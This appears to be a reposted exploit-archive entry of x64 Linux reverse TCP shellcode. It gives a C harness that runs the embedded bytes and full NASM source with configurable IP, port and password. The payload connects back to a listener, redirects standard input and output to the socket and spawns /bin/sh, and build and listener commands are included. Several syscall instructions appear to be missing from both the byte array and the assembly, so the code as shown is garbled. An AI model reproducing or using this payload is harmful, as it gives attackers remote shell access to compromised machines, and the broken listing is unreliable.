<code>x64 Linux reverse TCP connect shellcode (77 to 85 bytes, 90 to 98 with password)</code>
<code> </code>
<code>/*</code>
<code>* Author: Sean Dillon</code>
<code>* Copyright: (c) 2014 CAaNES, LLC. (http://caanes.com)</code>
<code>* Release Date: December 19, 2014</code>
<code>*</code>
<code>* Description: x64 Linux null-free reverse TCP shellcode, optional 4 byte password</code>
<code>* Assembled Size: 77 - 85 bytes, 90 - 98 with password</code>
<code>* Tested On: Kali 1.0.9a GNU/Linux 3.14.5-kali1-amd64 x86_64</code>
<code>* License: http://opensource.org/license/MIT</code>
<code>* </code>
<code>* Build/Run: gcc -m64 -z execstack -fno-stack-protector reverseshell.c -o reverseshell.out</code>
<code>* nc -l -p 4444</code>
<code>*/</code>
<code>/* </code>
<code>* NOTE: This C code connects to 127.0.0.1:4444 and does not have the password option enabled.</code>
<code>* Because the IP 127.0.0.1 contains null-bytes, a mask has to be used, adding 8 bytes.</code>
<code>* The end of this file contains the .nasm source code and instructions for building from that.</code>
<code>#include <stdio.h></code>
<code>#include <string.h></code>
<code>char</code> <code>shellcode[] = </code>
<code> </code><code>"\x31\xf6"</code> <code>/* xor %esi,%esi */</code>
<code> </code><code>"\xf7\xe6"</code> <code>/* mul %esi */</code>
<code> </code><code>"\xff\xc6"</code> <code>/* inc %esi */</code>
<code> </code><code>"\x6a\x02"</code> <code>/* pushq $0x2 */</code>
<code> </code><code>"\x5f"</code> <code>/* pop %rdi */</code>
<code> </code><code>"\x04\x29"</code> <code>/* add $0x29,%al */</code>
<code> </code><code>"\x0f\x05"</code> <code>/* syscall */</code>
<code> </code><code>"\x50"</code> <code>/* push %rax */</code>
<code> </code><code>"\x52"</code> <code>/* push %rdx */</code>
<code> </code><code>"\xc7\x44\x24\x04\x7d\xff\xfe"</code> <code>/* movl $0xfefeff7d,0x4(%rsp) */</code>
<code> </code><code>"\xfe"</code> <code>/* . */</code>
<code> </code><code>"\x81\x44\x24\x04\x02\x01\x01"</code> <code>/* addl $0x2010102,0x4(%rsp) */</code>
<code> </code><code>"\x02"</code> <code>/* . */</code>
<code> </code><code>"\x66\xc7\x44\x24\x02\x11\x5c"</code> <code>/* movw $0x5c11,0x2(%rsp) */</code>
<code> </code><code>"\xc6\x04\x24\x02"</code> <code>/* movb $0x2,(%rsp) */</code>
<code> </code><code>"\x54"</code> <code>/* push %rsp */</code>
<code> </code><code>"\x5e"</code> <code>/* pop %rsi */</code>
<code> </code><code>"\x6a\x10"</code> <code>/* pushq $0x10 */</code>
<code> </code><code>"\x5a"</code> <code>/* pop %rdx */</code>
<code> </code><code>"\x6a\x2a"</code> <code>/* pushq $0x2a */</code>
<code> </code><code>"\x58"</code> <code>/* pop %rax */</code>
<code> </code><code>"\x6a\x03"</code> <code>/* pushq $0x3 */</code>
<code> </code><code>"\xff\xce"</code> <code>/* dec %esi */</code>
<code> </code><code>"\xb0\x21"</code> <code>/* mov $0x21,%al */</code>
<code> </code><code>"\x75\xf8"</code> <code>/* jne 39 <dupe_loop> */</code>
<code> </code><code>"\x56"</code> <code>/* push %rsi */</code>
<code> </code><code>"\x48\xbf\x2f\x2f\x62\x69\x6e"</code> <code>/* movabs $0x68732f6e69622f2f,%rdi */</code>
<code> </code><code>"\x2f\x73\x68"</code> <code>/* . */</code>
<code> </code><code>"\x57"</code> <code>/* push %rdi */</code>
<code> </code><code>"\xb0\x3b"</code> <code>/* mov $0x3b,%al */</code>
<code> </code><code>"\x0f\x05"</code> <code>/* syscall */</code><code>;</code>
<code>main(</code><code>void</code><code>)</code>
<code>{ </code>
<code> </code><code>printf</code><code>(</code><code>"Shellcode length: %d\n"</code><code>, (</code><code>int</code><code>)</code><code>strlen</code><code>(shellcode));</code>
<code> </code><code>/* pollute registers and call shellcode */</code>
<code> </code><code>__asm__ ( </code><code>"mov $0xffffffffffffffff, %rax\n\t"</code>
<code> </code><code>"mov %rax, %rbx\n\t"</code>
<code> </code><code>"mov %rax, %rcx\n\t"</code>
<code> </code><code>"mov %rax, %rdx\n\t"</code>
<code> </code><code>"mov %rax, %rsi\n\t"</code>
<code> </code><code>"mov %rax, %rdi\n\t"</code>
<code> </code><code>"mov %rax, %rbp\n\t"</code>
<code> </code><code>"call shellcode"</code> <code>);</code>
<code>}</code>
<code>/* --------------------------------------------------------------------------------------</code>
<code>; Author: Sean Dillon</code>
<code>; Company: CAaNES, LLC. (http://caanes.com)</code>
<code>; Release Date: December 19, 2014</code>
<code>;</code>
<code>; Description: x64 Linux null-free reverse TCP shellcode, optional 4 byte password</code>
<code>; Assembled Size: 77 - 85 bytes, 90 - 98 with password</code>
<code>; Tested On: Kali 1.0.9a GNU/Linux 3.14.5-kali1-amd64 x86_64</code>
<code>; License: http://opensource.org/license/MIT</code>
<code>; </code>
<code>; Build/Run: nasm -f elf64 -o reverseshell.o reverseshell.nasm</code>
<code>; ld -o reverseshell reverseshell.o</code>
<code>; objdump -d --disassembler-options=addr64 reverseshell</code>
<code>BITS 64</code>
<code>global _start</code>
<code>section .text</code>
<code>; settings</code>
<code>%define USEPASSWORD ; comment this to not require password</code>
<code>PASSWORD equ 'Z~r0' ; cmp dword (SEGFAULT on fail; no bruteforce/cracking/etc.)</code>
<code>IP equ 0x0100007f ; default 127.0.0.1, contains nulls so will need mask</code>
<code>PORT equ 0x5c11 ; default 4444</code>
<code>; change the null-free mask as needed</code>
<code>%define NULLFREE_MASK 0x02010102 ; comment this out if no .0. in IP, save 8 bytes</code>
<code>%ifdef NULLFREE_MASK</code>
<code>%define NULLFREE_IP IP - NULLFREE_MASK</code>
<code>%else</code>
<code>%define NULLFREE_IP IP</code>
<code>%endif</code>
<code>; syscall kernel opcodes</code>
<code>SYS_SOCKET equ 0x29</code>
<code>SYS_CONNECT equ 0x2a</code>
<code>SYS_DUP2 equ 0x21</code>
<code>SYS_EXECVE equ 0x3b</code>
<code>; argument constants</code>
<code>AF_INET equ 0x2</code>
<code>SOCK_STREAM equ 0x1</code>
<code>_start:</code>
<code>; High level psuedo-C overview of shellcode logic:</code>
<code>; sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP)</code>
<code>; IP = NULLFREE_IP + NULLFREE_MASK</code>
<code>; struct sockaddr = {AF_INET; [PORT; IP; 0x0]}</code>
<code>; connect(sockfd, &sockaddr, 16)</code>
<code>; read(sockfd, *pwbuf, 16) // 16 > 4 </code>
<code>; if (pwbuf != PASSWORD) goto drop</code>
<code>; dup2(sockfd, STDIN+STDOUT+STDERR)</code>
<code>; execve("/bin/sh", NULL, NULL)</code>
<code>create_sock:</code>
<code> </code><code>; sockfd = socket(AF_INET, SOCK_STREAM, 0)</code>
<code> </code><code>; AF_INET = 2</code>
<code> </code><code>; SOCK_STREAM = 1</code>
<code> </code><code>; syscall number 41 </code>
<code> </code><code>xor esi, esi ; 0 out rsi</code>
<code> </code><code>mul esi ; 0 out rax, rdx</code>
<code> </code><code>; rdx = IPPROTO_IP (int: 0)</code>
<code> </code><code>inc esi ; rsi = SOCK_STREAM (int: 1)</code>
<code> </code><code>push AF_INET ; rdi = AF_INET (int: 2)</code>
<code> </code><code>pop rdi</code>
<code> </code><code>add al, SYS_SOCKET</code>
<code> </code><code>syscall</code>
<code> </code><code>; copy socket descriptor to rdi for future use </code>
<code> </code><code>push rax</code>
<code>struct_sockaddr: </code>
<code> </code><code>; server.sin_family = AF_INET </code>
<code> </code><code>; server.sin_port = htons(PORT)</code>
<code> </code><code>; server.sin_addr.s_addr = inet_addr("127.0.0.1")</code>
<code> </code><code>; bzero(&server.sin_zero, 8)</code>
<code> </code><code>push rdx</code>
<code> </code><code>mov dword [rsp + 0x4], NULLFREE_IP</code>
<code> </code><code>add dword [rsp + 0x4], NULLFREE_MASK</code>
<code> </code><code>mov word [rsp + 0x2], PORT</code>
<code> </code><code>mov byte [rsp], AF_INET</code>
<code>connect_sock:</code>
<code> </code><code>; connect(sockfd, (struct sockaddr *)&server, sockaddr_len)</code>
<code> </code><code>push rsp</code>
<code> </code><code>pop rsi</code>
<code> </code><code>push 0x10</code>
<code> </code><code>pop rdx</code>
<code> </code><code>push SYS_CONNECT</code>
<code> </code><code>pop rax</code>
<code>%ifdef USEPASSWORD</code>
<code>password_check:</code>
<code> </code><code>; password = read(sockfd, *buf, 4)</code>
<code> </code><code>; rsi = &buf (char*)</code>
<code> </code><code>; rdx = 0x10, >4 bytes</code>
<code> </code><code>xor eax, eax ; SYS_READ = 0x0</code>
<code> </code><code>cmp dword [rsp], PASSWORD ; simple comparison</code>
<code> </code><code>jne drop ; bad pw, abort</code>
<code>dupe_sockets:</code>
<code> </code><code>; dup2(sockfd, STDIN)</code>
<code> </code><code>; dup2(sockfd, STDOUT)</code>
<code> </code><code>; dup2(sockfd, STERR)</code>
<code> </code>
<code> </code><code>push 0x3 ; loop down file descriptors for I/O</code>
<code>dupe_loop:</code>
<code> </code><code>dec esi</code>
<code> </code><code>mov al, SYS_DUP2</code>
<code> </code><code>jne dupe_loop</code>
<code>exec_shell:</code>
<code> </code><code>; execve('//bin/sh', NULL, NULL)</code>
<code> </code><code>push rsi ; *argv[] = 0</code>
<code> </code><code>pop rdx ; *envp[] = 0</code>
<code> </code><code>push rsi ; '\0'</code>
<code> </code><code>mov rdi, '//bin/sh' ; str</code>
<code> </code><code>push rdi </code>
<code> </code><code>push rsp </code>
<code> </code><code>pop rdi ; rdi = &str (char*)</code>
<code> </code><code>mov al, SYS_EXECVE ; we fork with this syscall</code>
<code>drop:</code>
<code> </code><code>; password check failed, crash program with BADINSTR/SEGFAULT</code>
<code>;--------------------------------------------------------------------------------------*/</code>
<code> </code><code># www.acehat.com [2015-04-22] #</code>
本文轉自fatshi51CTO部落格,原文連結:http://blog.51cto.com/duallay/1825971 ,如需轉載請自行聯系原作者